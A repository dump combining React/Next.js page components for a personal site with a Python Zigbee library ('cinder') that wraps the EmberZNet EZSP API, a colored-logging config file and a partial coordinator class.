<Button color="primary">Hello World</Button>
<p style={{ color: 'red' }}>hi there</p>
<style jsx>{`
h1 {
color: blue;
}
div {
background: black;
}
@media (max-width: 600px) {
div {
background: blue;
}
}
`}</style>
</div>
);
}
ReactDOM.render(<Rela />, document.querySelector('#Rela'));<file_sep>import Link from 'next/link'
import Head from 'next/head'
import Layout from '../components/Layout.js'
function Neuro() {
return (
<ul>
<li>
<Link href="/">
<a>Home</a>
</Link>
</li>
<li>
<Link href="/baby">
<a>90s Baby</a>
</Link>
</li>
<li>
<Link href="/cn">
<a>Cartoon Network</a>
</Link>
</li>
<li>
<Link href="/dis">
<a>Disney</a>
</Link>
</li>
<li>
<Link href="/misc">
<a>Misc</a>
</Link>
</li>
<li>
<Link href="/nick">
<a>Nick</a>
</Link>
</li>
</ul>
//
<style jsx>{`
h1 {
color: blue;
}
div {
background: black;
}
@media (max-width: 600px) {
div {
background: blue;
}
}
`}</style>
// <div class="nav-wrapper">
// <a href="#!" class="brand-logo"><i class="material-icons">cloud</i>Logo</a>
// <ul class="right hide-on-med-and-down">
// <li><a href="sass.html"><i class="material-icons">search</i></a></li>
// <li><a href="badges.html"><i class="material-icons">view_module</i></a></li>
// <li><a href="collapsible.html"><i class="material-icons">refresh</i></a></li>
// <li><a href="mobile.html"><i class="material-icons">more_vert</i></a></li>
// </ul>
// </div>
)
}
export default Neuro<file_sep>import React from 'react';
import PropTypes from 'prop-types';
import { makeStyles, useTheme } from '@material-ui/core/styles';
import { Button } from '@material-ui/core';
import Head from 'next/head'
import styles from '../styles/Home.module.css'
import Tooltip from '@material-ui/core/Tooltip';
import Zoom from '@material-ui/core/Zoom';
export default function Home() {
return ( <>
//
<div className={styles.container}>
<Head >
<title>Moe Techtainment</title>
<img src="/moencode.png" alt="Moet" className={styles.logo} />
<link rel="icon" href="/moeiconb.png" />
</Head>
<main className={styles.main}>
<img src="/moetw.png" alt="Moet" height="200px" />
<div className={styles.grid}>
<img src="/memoryPalace.png" alt="Moet" height="280px" />
</div>
<div className={styles.grid}>
<h1 className={styles.title}>
<a href="/memo"><br/><p> Memory Palace</p></a>
</h1>
</div>
</main>
<footer className={styles.footer}>
<a href="/memo" className={styles.card}>
<h3>Let's get Smarter One Synapse at a Time →</h3>
</a>
</footer>
{/* <div>
<a
href="moetechtainment.com"
target="_blank"
rel="noopener noreferrer" >
Brought to you by{' '}
<img src="/moetw.png" alt="Moet" height="25px" />
</a>
</div> */}
</div> </>
)
}
<file_sep>import Link from 'next/link';
function Nav() {
return (
<ul>
<li>
<Link href="/">
<a>Home</a>
</Link>
</li>
<li>
<Link href="/rela">
<a>Relative Reality</a>
</Link>
</li>
<li>
<Link href="/memo">
<a>Memory Palace</a>
</Link>
</li>
<li>
<Link href="/neuro">
<a>Neuro</a>
</Link>
</li>
<li>
<Link href="/">
<a>IG</a>
</Link>
</li>
<li>
<Link href="/nick">
<a>Youtube</a>
</Link>
</li>
</ul>
)
}
export default Nav | 410cd1a46223c32470e53dd79742f15bf35e2cd7 | [
"JavaScript"
] | 4 | JavaScript | moetech13/moet | 7791c5edb5ebd8b55d0b01e84ed27fe9dd1bd025 | 73a59f0ebdc284e59bef1420725e2bf13c95495f |
refs/heads/master | <repo_name>VetsE/cinder<file_sep>/src/cinder/logging_config.ini
[formatters]
keys=color
[formatter_color]
class=colorlog.ColoredFormatter
format=%(log_color)s%(levelname)-8s [%(lineno)4d] %(name)-10s| %(message)s
[handlers]
keys=console
[handler_console]
class=logging.StreamHandler
formatter=color
args=tuple()
[loggers]
keys=root,async_uart,ash,cinder,ezsp,ember
[logger_ember]
level=DEBUG
handlers=console
formatter=color
propagate=0
qualname=ember
[logger_cinder]
level=INFO
handlers=console
formatter=color
propagate=0
qualname=cinder
[logger_root]
level=INFO
handlers=console
formatter=color
[logger_async_uart]
level=INFO
handlers=console
qualname=async_uart
propagate=0
formatter=color
[logger_ash]
level=INFO
handlers=console
qualname=ash
propagate=0
formatter=color
[logger_ezsp]
level=INFO
handlers=console
qualname=ezsp
propagate=0
formatter=color
[logger_layer]
level=INFO
handlers=console
qualname=layer
propagate=0
formatter=color
<file_sep>/src/cinder/ember.py
"""
This is the module for the EmberZNet API as described in the UG100 document
"""
import logging
import asyncio
from functools import wraps
import yaml
from constants import DEFAULT_NETWORK_INIT_OPTION
import ezsp
import ezsp_types as e
import construct as c
from ember_utils import check_status
from ember_utils import pretty_command
LOGGER = logging.getLogger(__name__)
def _get_ember_config():
try:
from constants import CONFIGURATION_FILE
with open(CONFIGURATION_FILE) as f:
config = yaml.load(f)
except IOError:
LOGGER.warning("Failed to find the EZSP configuration file")
return None
return config['ember']
class Ember():
"""EmberZNet API that runs on a NCP accessed through EZSP."""
def __init__(self, port, baudrate, xonxoff=False, rtscts=True):
self._e = ezsp.Ezsp(
port=port,
baudrate=baudrate,
xonxoff=xonxoff,
rtscts=rtscts,
api=self)
self._callbacks_map = {}
def add_callback(self, frame_id, callback):
self._callbacks_map[frame_id] = callback
async def initialize(self, init_future, own_init_future):
"""Initialization task for the ezsp layer class"""
await init_future
version = await self.version(4)
valid = version['protocolVersion'] == ezsp.PROTOCOL_VERSION
valid &= version['stackType'] == ezsp.STACK_TYPE
if valid:
version = await self.version(ezsp.PROTOCOL_VERSION)
LOGGER.info(f"Found EZSP, version: {version['protocolVersion']}")
else:
LOGGER.error(f"Found EZSP, version {version['protocolVersion']}"
+ f", but need version {ezsp.PROTOCOL_VERSION}")
own_init_future.set_result(False)
raise ValueError
try:
for config, value in _get_ember_config().items():
await self.set_configuration_value(config, value)
except ValueError:
own_init_future.set_result(False)
raise ValueError
LOGGER.info(f"EZSP has been successfully configured")
own_init_future.set_result(True)
async def process(self, init_future):
"""Ember main process"""
ezsp_init_future = asyncio.Future()
try:
await asyncio.gather(
self.initialize(ezsp_init_future, init_future),
self._e.process(ezsp_init_future),
self._callbacks())
except OSError:
raise OSError
async def _callbacks(self):
while True:
callback = await self._e.callbacks()
frame_id = callback['frameId']
args = callback['return']
try:
self._callbacks_map[frame_id](args)
except KeyError:
LOGGER.warning(f"Unsupported callback: 0x{frame_id:02X}")
LOGGER.debug(f"Skipped data: {args}")
def standard_command(cmd):
"""Returns a decorator that implements a command in the standard way"""
@wraps(cmd)
async def std_cmd(self, *args, **kwargs):
LOGGER.debug(pretty_command(cmd.__name__, *args, **kwargs))
return await self._e.send_command(cmd.__name__, *args, **kwargs)
return std_cmd
@standard_command
async def version(self, desired=ezsp.PROTOCOL_VERSION):
"""The command allows the Host to specify the desired EZSP version and
must be sent before any other command."""
@check_status()
@standard_command
async def get_configuration_value(self, config):
"""Reads a configuration value from the NCP"""
@check_status()
async def set_configuration_value(self, config, value):
"""Writes a configuration value to the NCP.
Configuration values can be modified by the Host after the NCP has
reset. Once the status of the stack changes to EMBER_NETWORK_UP,
configuration values can no longer be modified and this command will
respond with EZSP_ERROR_INVALID_CALL.
"""
if config == 'APPLICATION_ZDO_FLAGS':
try:
value = int.from_bytes(
e.EmberZdoConfigurationFlags.build(value),
byteorder='big')
except c.core.MappingError:
LOGGER.warning(f"Unknown value field: {value}")
return
return await self._e.send_command('set_configuration_value',
config,
value)
# async def add_endpoint(self,
# endpoint,
# profileId,
# deviceId,
# appFlags,
# inputClusterList,
# outputClusterList):
# """TODO"""
# return await self._e.send_command('add_endpoint',)
#
@check_status()
@standard_command
async def set_policy(self, policyId, decisionId):
"""Allows the Host to change the policies used by the NCP to make fast
decisions."""
@check_status()
@standard_command
async def get_policy(self, policyId):
"""Allows the Host to read the policies used by the NCP to make fast
decisions."""
@check_status()
@standard_command
async def get_value(self, valueId):
"""Read a vule from the NCP."""
# async def get_extended_value(self,
# valueId,
# characteristics):
# """TODO"""
# return await self._e.send_command('get_extended_value',)
#
@check_status()
async def set_value(self, valueId, value):
"""Writes a value to the NCP"""
# if isinstance(value, int):
# value = value.to_bytes(value, byteorder='big')
value_length = len(value.to_bytes(value, byteorder='big'))
LOGGER.debug(pretty_command('set_value', valueId, value_length, value))
return await self._e.send_command('set_value',
valueId,
value_length,
value)
#
# async def set_gpio_current_configuration(self,
# portPin,
# cfg,
# out):
# """TODO"""
# return await self._e.send_command('set_gpio_current_configuration',)
#
# async def set_gpio_power_up_down_configuration(self,
# self._e.send_command('set_gpio_power_up_down_configuration',)
# portPin,
# puCfg,
# puOut,
# pdCfg,
# pdOut):
# """TODO"""
# return await
#
# async def set_gpio_radio_power_mask(self,
# mask):
# """TODO"""
# return await self._e.send_command('set_gpio_radio_power_mask',)
#
# async def set_ctune(self,
# ctune):
# """TODO"""
# return await self._e.send_command('set_ctune',)
#
# async def get_ctune(self):
# """TODO"""
# return await self._e.send_command('get_ctune',)
#
@standard_command
async def nop(self):
"""A command which does nothing. The Host can use this to set the sleep
mode or to check the status of the NCP"""
@check_status()
async def echo(self, data):
"""Variable length data from the Host is echoed back by the NCP.
This command has no other effects and is designed for testing the link
between the Host and the NCP
"""
return await self._e.send_command('echo', len(data), data)
# """TODO"""
# return await self._e.send_command('echo',)
#
# async def callback(self):
# """TODO"""
# return await self._e.send_command('callback',)
#
# async def set_token(self,
# tokenId,
# tokenData):
# """TODO"""
# return await self._e.send_command('set_token',)
#
# async def get_token(self,
# tokenId):
# """TODO"""
# return await self._e.send_command('get_token',)
#
# async def get_mfg_token(self,
# tokenId):
# """TODO"""
# return await self._e.send_command('get_mfg_token',)
#
# async def set_mfg_token(self,
# tokenId,
# tokenDataLength,
# tokenData):
# """TODO"""
# return await self._e.send_command('set_mfg_token',)
#
@check_status()
@standard_command
async def get_random_number(self):
"""Returns a pseudorandom number"""
# async def set_timer(self,
# timerId,
# time,
# units,
# repeat):
# """TODO"""
# return await self._e.send_command('set_timer',)
#
# async def get_timer(self,
# timerId):
# """TODO"""
# return await self._e.send_command('get_timer',)
#
# async def debug_write(self,
# binaryMessage,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('debug_write',)
#
# async def read_and_clear_counters(self):
# """TODO"""
# return await self._e.send_command('read_and_clear_counters',)
#
# async def read_counters(self):
# """TODO"""
# return await self._e.send_command('read_counters',)
#
# async def delay_test(self,
# delay):
# """TODO"""
# return await self._e.send_command('delay_test',)
#
# async def get_library_status(self,
# libraryId):
# """TODO"""
# return await self._e.send_command('get_library_status',)
#
# async def get_xncp_info(self):
# """TODO"""
# return await self._e.send_command('get_xncp_info',)
#
# async def custom_frame(self,
# payloadLength,
# payload):
# """TODO"""
# return await self._e.send_command('custom_frame',)
#
@standard_command
async def get_eui64(self):
"""Returns the EUI64 ID of the local node"""
@standard_command
async def get_node_id(self):
"""Returns the 16-bit node ID of the local node"""
# async def get_phy_interface_count(self):
# """TODO"""
# return await self._e.send_command('get_phy_interface_count',)
#
# async def set_manufacturer_code(self,
# code):
# """TODO"""
# return await self._e.send_command('set_manufacturer_code',)
#
# async def set_power_descriptor(self,
# descriptor):
# """TODO"""
# return await self._e.send_command('set_power_descriptor',)
#
@check_status()
@standard_command
async def network_init(self, options=DEFAULT_NETWORK_INIT_OPTION):
"""Resume network operation after a reboot.
The node retains its original type. This should be called on startup
whether or not the node was previously part of a network.
EMBER_NOT_JOINED is returned if the node is not part of a network. This
command accepts options to control the network initialization.
"""
# async def network_state(self):
# """TODO"""
# return await self._e.send_command('network_state',)
#
@check_status()
@standard_command
async def start_scan(self, scanType, channelMask, duration):
"""This function will start a scan"""
# async def find_unused_pan_id(self,
# channelMask,
# duration):
# """TODO"""
# return await self._e.send_command('find_unused_pan_id',)
#
# async def stop_scan(self):
# """TODO"""
# return await self._e.send_command('stop_scan',)
#
@check_status()
@standard_command
async def form_network(self, parameters):
"""Forms a new network by becoming the coordinator"""
#
# async def join_network(self,
# nodeType,
# parameters):
# """TODO"""
# return await self._e.send_command('join_network',)
#
@check_status()
@standard_command
async def leave_network(self):
"""Cause the stack to leave the current network
This generates a stackStatusHandler callback to indicate that the
network is down. The radio will not be used until after sending a
formNetwork or joinNetwork command.
"""
# async def find_and_rejoin_network(self,
# haveCurrentNetworkKey,
# channelMask):
# """TODO"""
# return await self._e.send_command('find_and_rejoin_network',)
#
@check_status()
@standard_command
async def permit_joining(self, duration):
"""Tells the stack to allow other nodes to join the network with this
node as their parent.
Joining is initially disabled by default."""
#
# async def energy_scan_request(self,
# target,
# scanChannels,
# scanDuration,
# scanCount):
# """TODO"""
# return await self._e.send_command('energy_scan_request',)
#
@check_status()
@standard_command
async def get_network_parameters(self):
"""Returns the current network paramaters"""
# async def get_radio_parameters(self,
# childCount):
# """TODO"""
# return await self._e.send_command('get_radio_parameters',)
#
# async def get_parent_child_parameters(self):
# """TODO"""
# return await self._e.send_command('get_parent_child_parameters',)
#
# async def get_child_data(self,
# index):
# """TODO"""
# return await self._e.send_command('get_child_data',)
#
# async def get_source_route_table_total_size(self):
# """TODO"""
# return await self._e.send_command('get_source_route_table_total_size',)
#
# async def get_source_route_table_filled_size(self):
# """TODO"""
# return await
# self._e.send_command('get_source_route_table_filled_size',)
#
# async def get_source_route_table_entry(self,
# index):
# """TODO"""
# return await self._e.send_command('get_source_route_table_entry',)
#
# async def get_neighbor(self,
# index):
# """TODO"""
# return await self._e.send_command('get_neighbor',)
#
# async def set_routing_shortcut_threshold(self,
# costThresh):
# """TODO"""
# return await self._e.send_command('set_routing_shortcut_threshold',)
#
# async def get_routing_shortcut_threshold(self):
# """TODO"""
# return await self._e.send_command('get_routing_shortcut_threshold',)
#
# async def neighbor_count(self):
# """TODO"""
# return await self._e.send_command('neighbor_count',)
#
# async def get_route_table_entry(self,
# index):
# """TODO"""
# return await self._e.send_command('get_route_table_entry',)
#
# async def set_radio_power(self,
# power):
# """TODO"""
# return await self._e.send_command('set_radio_power',)
#
# async def set_radio_channel(self,
# channel):
# """TODO"""
# return await self._e.send_command('set_radio_channel',)
#
# async def set_concentrator(self,
# on,
# concentratorType,
# minTime,
# maxTime,
# routeErrorThreshold,
# deliveryFailureThreshold,
# maxHops):
# """TODO"""
# return await self._e.send_command('set_concentrator',)
#
# async def set_broken_route_error_code(self,
# errorCode):
# """TODO"""
# return await self._e.send_command('set_broken_route_error_code',)
#
# async def multi_phy_start(self,
# phyIndex,
# page,
# channel,
# power,
# bitmask):
# """TODO"""
# return await self._e.send_command('multi_phy_start',)
#
# async def multi_phy_stop(self,
# phyIndex):
# """TODO"""
# return await self._e.send_command('multi_phy_stop',)
#
# async def multi_phy_set_radio_power(self,
# phyIndex,
# power):
# """TODO"""
# return await self._e.send_command('multi_phy_set_radio_power',)
#
# async def send_link_power_delta_request(self):
# """TODO"""
# return await self._e.send_command('send_link_power_delta_request',)
#
# async def multi_phy_set_radio_channel(self,
# phyIndex,
# page,
# channel):
# """TODO"""
# return await self._e.send_command('multi_phy_set_radio_channel',)
#
# async def get_duty_cycle_state(self):
# """TODO"""
# return await self._e.send_command('get_duty_cycle_state',)
#
# async def set_duty_cycle_limits_in_stack(self,
# limits):
# """TODO"""
# return await self._e.send_command('set_duty_cycle_limits_in_stack',)
#
# async def get_duty_cycle_limits(self):
# """TODO"""
# return await self._e.send_command('get_duty_cycle_limits',)
#
# async def get_current_duty_cycle(self,
# maxDevices):
# """TODO"""
# return await self._e.send_command('get_current_duty_cycle',)
#
# async def clear_binding_table(self):
# """TODO"""
# return await self._e.send_command('clear_binding_table',)
#
# async def set_binding(self,
# index,
# value):
# """TODO"""
# return await self._e.send_command('set_binding',)
#
# async def get_binding(self,
# index):
# """TODO"""
# return await self._e.send_command('get_binding',)
#
# async def delete_binding(self,
# index):
# """TODO"""
# return await self._e.send_command('delete_binding',)
#
# async def binding_is_active(self,
# index):
# """TODO"""
# return await self._e.send_command('binding_is_active',)
#
# async def get_binding_remote_node_id(self,
# index):
# """TODO"""
# return await self._e.send_command('get_binding_remote_node_id',)
#
# async def set_binding_remote_node_id(self,
# index,
# nodeId):
# """TODO"""
# return await self._e.send_command('set_binding_remote_node_id',)
#
# async def maximum_payload_length(self):
# """TODO"""
# return await self._e.send_command('maximum_payload_length',)
#
# async def send_unicast(self,
# type,
# indexOrDestination,
# apsFrame,
# messageTag,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('send_unicast',)
#
# async def send_broadcast(self,
# destination,
# apsFrame,
# radius,
# messageTag,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('send_broadcast',)
#
# async def proxy_broadcast(self,
# source,
# destination,
# nwkSequence,
# apsFrame,
# radius,
# messageTag,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('proxy_broadcast',)
#
# async def send_multicast(self,
# apsFrame,
# hops,
# nonmemberRadius,
# messageTag,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('send_multicast',)
#
# async def send_multicast_with_alias(self,
# apsFrame,
# hops,
# nonmemberRadius,
# alias,
# nwkSequence,
# messageTag,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('send_multicast_with_alias',)
#
# async def send_reply(self,
# sender,
# apsFrame,
# messageLength,
# messageContents):
# """TODO"""
# return await self._e.send_command('send_reply',)
#
# async def send_many_to_one_route_request(self,
# concentratorType,
# radius):
# """TODO"""
# return await self._e.send_command('send_many_to_one_route_request',)
#
# async def poll_for_data(self,
# interval,
# units,
# failureLimit):
# """TODO"""
# return await self._e.send_command('poll_for_data',)
#
# async def set_source_route(self,
# destination,
# relayCount,
# relayList):
# """TODO"""
# return await self._e.send_command('set_source_route',)
#
# async def address_table_entry_is_active(self,
# addressTableIndex):
# """TODO"""
# return await self._e.send_command('address_table_entry_is_active',)
#
# async def set_address_table_remote_eui64(self):
# """TODO"""
# return await self._e.send_command('set_address_table_remote_eui64',)
# addressTableIndex,
# "eui64" / e.EmberEUI64
#
# async def set_address_table_remote_node_id(self):
# """TODO"""
# return await self._e.send_command('set_address_table_remote_node_id',)
# addressTableIndex,
# "eui64" / e.EmberEUI64
#
# async def get_address_table_remote_eui64(self):
# """TODO"""
# return await self._e.send_command('get_address_table_remote_eui64',)
# addressTableIndex,
#
# async def get_address_table_remote_node_id(self):
# """TODO"""
# return await self._e.send_command('get_address_table_remote_node_id',)
# addressTableIndex,
#
# async def set_extended_timeout(self):
# """TODO"""
# return await self._e.send_command('set_extended_timeout',)
# "remoteEui64" / e.EmberEUI64,
# extendedTimeout,
#
# async def get_extended_timeout(self):
# """TODO"""
# return await self._e.send_command('get_extended_timeout',)
# "remoteEui64" / e.EmberEUI64,
#
# async def replace_address_table_entry(self):
# """TODO"""
# return await self._e.send_command('replace_address_table_entry',)
# addressTableIndex,
# "newEui64" / e.EmberEUI64,
# newId,
# newExtendedTimeout,
#
# async def lookup_node_id_by_eui64(self):
# """TODO"""
# return await self._e.send_command('lookup_node_id_by_eui64',)
# "eui64" / c.Int64ul
#
# async def lookup_eui64_by_node_id(self):
# """TODO"""
# return await self._e.send_command('lookup_eui64_by_node_id',)
# nodeId,
#
# async def get_multicast_table_entry(self):
# """TODO"""
# return await self._e.send_command('get_multicast_table_entry',)
# index,
#
# async def set_multicast_table_entry(self):
# """TODO"""
# return await self._e.send_command('set_multicast_table_entry',)
# index,
# value,
#
# async def write_node_data(self):
# """TODO"""
# return await self._e.send_command('write_node_data',)
# erase,
# 'send_raw_message': {
# 'frameId': 0x96,
# messageLength,
# messageContents,
#
@check_status()
@standard_command
async def set_initial_security_state(self, state):
"""Sets the security state that will be used by the device when it
forms or joins the network.
This call should not be used when restoring saved network state via
networkInit as this will result in a loss of security data and will
cause communication problems when the device re-enters the network.
"""
#
# async def get_current_security_state(self):
# """TODO"""
# return await self._e.send_command('get_current_security_state',)
#
# async def get_key(self):
# """TODO"""
# return await self._e.send_command('get_key',)
# keyType,
#
# async def get_key_table_entry(self):
# """TODO"""
# return await self._e.send_command('get_key_table_entry',)
# index,
#
# async def set_key_table_entry(self):
# """TODO"""
# return await self._e.send_command('set_key_table_entry',)
# index,
# address,
# linkKey,
# keyData,
#
# async def find_key_table_entry(self):
# """TODO"""
# return await self._e.send_command('find_key_table_entry',)
# address,
# linkKey,
#
# async def add_or_update_key_table_entry(self):
# """TODO"""
# return await self._e.send_command('add_or_update_key_table_entry',)
# address,
# linkKey,
# keyData,
#
# async def send_trust_center_link_key(self):
# """TODO"""
# return await self._e.send_command('send_trust_center_link_key',)
# destinationNodeId,
# "destinationEui64" / e.EmberEUI64
#
# async def erase_key_table_entry(self):
# """TODO"""
# return await self._e.send_command('erase_key_table_entry',)
# index,
#
# async def clear_key_table(self):
# """TODO"""
# return await self._e.send_command('clear_key_table',)
#
# async def request_link_key(self):
# """TODO"""
# return await self._e.send_command('request_link_key',)
# partner,
#
# async def add_transient_link_key(self):
# """TODO"""
# return await self._e.send_command('add_transient_link_key',)
# partner,
# transientKey,
#
# async def clear_transient_link_keys(self):
# """TODO"""
# return await self._e.send_command('clear_transient_link_keys',)
#
# async def get_transient_link_key(self):
# """TODO"""
# return await self._e.send_command('get_transient_link_key',)
# eui,
#
# async def broadcast_next_network_key(self):
# """TODO"""
# return await self._e.send_command('broadcast_next_network_key',)
# key,
#
# async def broadcast_network_key_switch(self):
# """TODO"""
# return await self._e.send_command('broadcast_network_key_switch',)
#
# async def become_trust_center(self):
# """TODO"""
# return await self._e.send_command('become_trust_center',)
# newNetworkKey,
#
# async def aes_mmo_hash(self):
# """TODO"""
# return await self._e.send_command('aes_mmo_hash',)
# context,
# finalize,
# length,
# data,
#
# async def remove_device(self):
# """TODO"""
# return await self._e.send_command('remove_device',)
# destShort,
# destLong,
# targetLong,
#
# async def unicast_nwk_key_update(self):
# """TODO"""
# return await self._e.send_command('unicast_nwk_key_update',)
# destShort,
# destLong,
# key,
#
# async def generate_cbke_keys(self):
# """TODO"""
# return await self._e.send_command('generate_cbke_keys',)
#
# async def calculate_smacs(self):
# """TODO"""
# return await self._e.send_command('calculate_smacs',)
# amInitiator,
# partnerCertificate,
# partnerEphemeralPublicKey,
#
# async def generate_cbke_keys283k1(self):
# """TODO"""
# return await self._e.send_command('generate_cbke_keys283k1',)
#
# async def calculate_smacs283k1(self):
# """TODO"""
# return await self._e.send_command('calculate_smacs283k1',)
# amInitiator,
# partnerCertificate,
# partnerEphemeralPublicKey,
#
# async def clear_temporary_data_maybe_store_link_key(self):
# """TODO"""
# return await
# self._e.send_command('clear_temporary_data_maybe_store_link_key',)
# storeLinkKey,
#
# async def clear_temporary_data_maybe_store_link_key283K1(self):
# """TODO"""
# return await
# self._e.send_command('clear_temporary_data_maybe_store_link_key283K1',)
# storeLinkKey,
#
# async def get_certificate(self):
# """TODO"""
# return await self._e.send_command('get_certificate',)
#
# async def get_certificate283k1(self):
# """TODO"""
# return await self._e.send_command('get_certificate283k1',)
#
# async def dsa_sign(self):
# """TODO"""
# return await self._e.send_command('dsa_sign',)
# messageLength,
# messageContents,
#
# async def dsa_verify(self):
# """TODO"""
# return await self._e.send_command('dsa_verify',)
# digest,
# signerCertificate,
# receivedSig,
#
# async def dsa_verify283k1(self):
# """TODO"""
# return await self._e.send_command('dsa_verify283k1',)
# digest,
# signerCertificate,
# receivedSig,
#
# async def set_preinstalled_cbke_data(self):
# """TODO"""
# return await self._e.send_command('set_preinstalled_cbke_data',)
# caPublic,
# myCert,
# myKey,
#
# async def save_preinstalled_cbke_data283k1(self):
# """TODO"""
# return await self._e.send_command('save_preinstalled_cbke_data283k1',)
# caPublic,
# myCert,
# myKey,
#
# async def mfglib_start(self):
# """TODO"""
# return await self._e.send_command('mfglib_start',)
# rxCallback,
#
# async def mfglib_end(self):
# """TODO"""
# return await self._e.send_command('mfglib_end',)
#
# async def mfglib_start_tone(self):
# """TODO"""
# return await self._e.send_command('mfglib_start_tone',)
#
# async def mfglib_stop_tone(self):
# """TODO"""
# return await self._e.send_command('mfglib_stop_tone',)
#
# async def mfglib_start_stream(self):
# """TODO"""
# return await self._e.send_command('mfglib_start_stream',)
#
# async def mfglib_stop_stream(self):
# """TODO"""
# return await self._e.send_command('mfglib_stop_stream',)
#
# async def mfglib_send_packet(self):
# """TODO"""
# return await self._e.send_command('mfglib_send_packet',)
# packetLength,
# packetContent,
# 'mfglib_set_channel': {
# 'frameId': 0x8a,
# channel,
#
# async def mfglib_get_channel(self):
# """TODO"""
# return await self._e.send_command('mfglib_get_channel',)
#
# async def mfglib_set_power(self):
# """TODO"""
# return await self._e.send_command('mfglib_set_power',)
# txPowerMode,
# power,
#
# async def mfglib_get_power(self):
# """TODO"""
# return await self._e.send_command('mfglib_get_power',)
#
# async def launch_standalone_bootloader(self):
# """TODO"""
# return await self._e.send_command('launch_standalone_bootloader',)
# mode,
#
# async def send_bootload_message(self):
# """TODO"""
# return await self._e.send_command('send_bootload_message',)
# broadcast,
# "destEui64" / e.EmberEUI64,
# messageLength,
# messageContents,
#
# async def get_standalone_bootloader_version_plat_miCRO_PHY(self):
# """TODO"""
# return await
# self._e.send_command('get_standalone_bootloader_version_plat_miCRO_PHY',)
#
# async def aes_encrypt(self):
# """TODO"""
# return await self._e.send_command('aes_encrypt',)
# plaintext,
# key,
#
# async def override_current_channel(self):
# """TODO"""
# return await self._e.send_command('override_current_channel',)
# channel,
#
# async def zll_network_ops(self):
# """TODO"""
# return await self._e.send_command('zll_network_ops',)
# networkInfo,
# op,
# radioTxPower,
#
# async def zll_set_initial_security_state(self):
# """TODO"""
# return await self._e.send_command('zll_set_initial_security_state',)
# networkKey,
# securityState,
#
# async def zll_set_security_state_without_key(self):
# """TODO"""
# return await
# self._e.send_command('zll_set_security_state_without_key',)
# securityState,
#
# async def zll_start_scan(self):
# """TODO"""
# return await self._e.send_command('zll_start_scan',)
# channelMask,
# radioPowerForScan,
# nodeType,
#
# async def zll_set_rx_on_when_idle(self):
# """TODO"""
# return await self._e.send_command('zll_set_rx_on_when_idle',)
# durationMs,
#
# async def set_logical_and_radio_channel(self):
# """TODO"""
# return await self._e.send_command('set_logical_and_radio_channel',)
# radioChannel,
#
# async def get_logical_channel(self):
# """TODO"""
# return await self._e.send_command('get_logical_channel',)
#
# async def zll_get_tokens(self):
# """TODO"""
# return await self._e.send_command('zll_get_tokens',)
#
# async def zll_set_data_token(self):
# """TODO"""
# return await self._e.send_command('zll_set_data_token',)
# data,
#
# async def zll_set_non_zll_network(self):
# """TODO"""
# return await self._e.send_command('zll_set_non_zll_network',)
#
# async def is_zll_network(self):
# """TODO"""
# return await self._e.send_command('is_zll_network',)
#
# async def zll_set_radio_idle_mode(self):
# """TODO"""
# return await self._e.send_command('zll_set_radio_idle_mode',)
# mode,
#
# async def set_zll_node_type(self):
# """TODO"""
# return await self._e.send_command('set_zll_node_type',)
# nodeType,
#
# async def set_zll_additional_state(self):
# """TODO"""
# return await self._e.send_command('set_zll_additional_state',)
# state,
#
# async def zll_operation_in_progress(self):
# """TODO"""
# return await self._e.send_command('zll_operation_in_progress',)
#
# async def zll_rx_on_when_idle_get_active(self):
# """TODO"""
# return await self._e.send_command('zll_rx_on_when_idle_get_active',)
#
# async def gp_proxy_table_process_gp_pairing(self):
# """TODO"""
# return await self._e.send_command('gp_proxy_table_process_gp_pairing',)
# options,
# addr,
# commMode,
# sinkNetworkAddress,
# sinkGroupId,
# assignedAlias,
# sinkIeeeAddress,
# gpdKey,
#
# async def d_gp_send(self):
# """TODO"""
# return await self._e.send_command('d_gp_send',)
# action,
# useCca,
# addr,
# gpdCommandId,
# gpdAsduLength,
# gpdAsdu,
# gpepHandle,
# gpTxQueueEntryLifetimeMs,
#
# async def gp_proxy_table_get_entry(self):
# """TODO"""
# return await self._e.send_command('gp_proxy_table_get_entry',)
# proxyIndex,
#
# async def gp_proxy_table_lookup(self):
# """TODO"""
# return await self._e.send_command('gp_proxy_table_lookup',)
# addr,
#
# async def set_security_key(self):
# """TODO"""
# return await self._e.send_command('set_security_key',)
# key,
# securityType,
#
# async def set_security_parameters(self):
# """TODO"""
# return await self._e.send_command('set_security_parameters',)
# securityLevel,
# hostRandomNumber,
#
# async def reset_to_factory_defaults(self):
# """TODO"""
# return await self._e.send_command('reset_to_factory_defaults',)
#
# async def get_security_key_status(self):
# """TODO"""
# return await self._e.send_command('get_security_key_status',)
# }
<file_sep>/src/cinder/cinder.py
"""
A module fro the implementation of the ZigBee PRO protocol
"""
import logging
from logging.config import fileConfig
import yaml
from collections import namedtuple
import asyncio
import ember
from ember_utils import TooManyTriesException
from ember_utils import UnexpectedStatusException
from ember_utils import print_dic
from constants import ALL_CHANNEL_MASK
from constants import ENABLE_JOINING
import ezsp_types as e
from random import getrandbits
LOGGER = logging.getLogger(__name__)
fileConfig('logging_config.ini', disable_existing_loggers=False)
class Cinder():
"""A class implementing the ZigBee protocol with an NCP running the
EmberZnet Pro stack"""
_stack_status = None
def __init__(self):
self._is_ready_future = asyncio.Future()
self.api = ember.Ember('/dev/ttyUSB0', baudrate=115200)
self.api.add_callback(0x19, self.cb_stack_status)
self.api.add_callback(0x23, self.cb_joining)
self.api.add_callback(0x45, self.cb_incoming_message)
self.network_address = None
self.mac_address = None
from constants import CONFIGURATION_FILE
try:
with open(CONFIGURATION_FILE) as f:
config = yaml.load(f)
except IOError:
LOGGER.warning("Failed to find the EZSP configuration file")
self.configuration = {}
else:
self.configuration = config['cinder']
def is_ready(self):
"""Returns a future that indicates when the init process is over"""
return self._is_ready_future
async def _check_network_parameters(self, panid, epanid, channel):
"""Checks whether the NCP is connected with the right network
parameters"""
answer = await self.api.get_network_parameters()
parameters = answer['parameters']
if answer['nodeType'] != e.EmberNodeType.EMBER_COORDINATOR:
return False
if panid and parameters['panId'] != panid:
return False
if epanid and parameters['extendedPanId'] != epanid:
return False
if channel and parameters['radioChannel'] != channel:
return False
parameters_tuple = namedtuple("parameters", ['panid',
'epanid',
'channel'])
return parameters_tuple(parameters['panId'],
parameters['extendedPanId'],
parameters['radioChannel'])
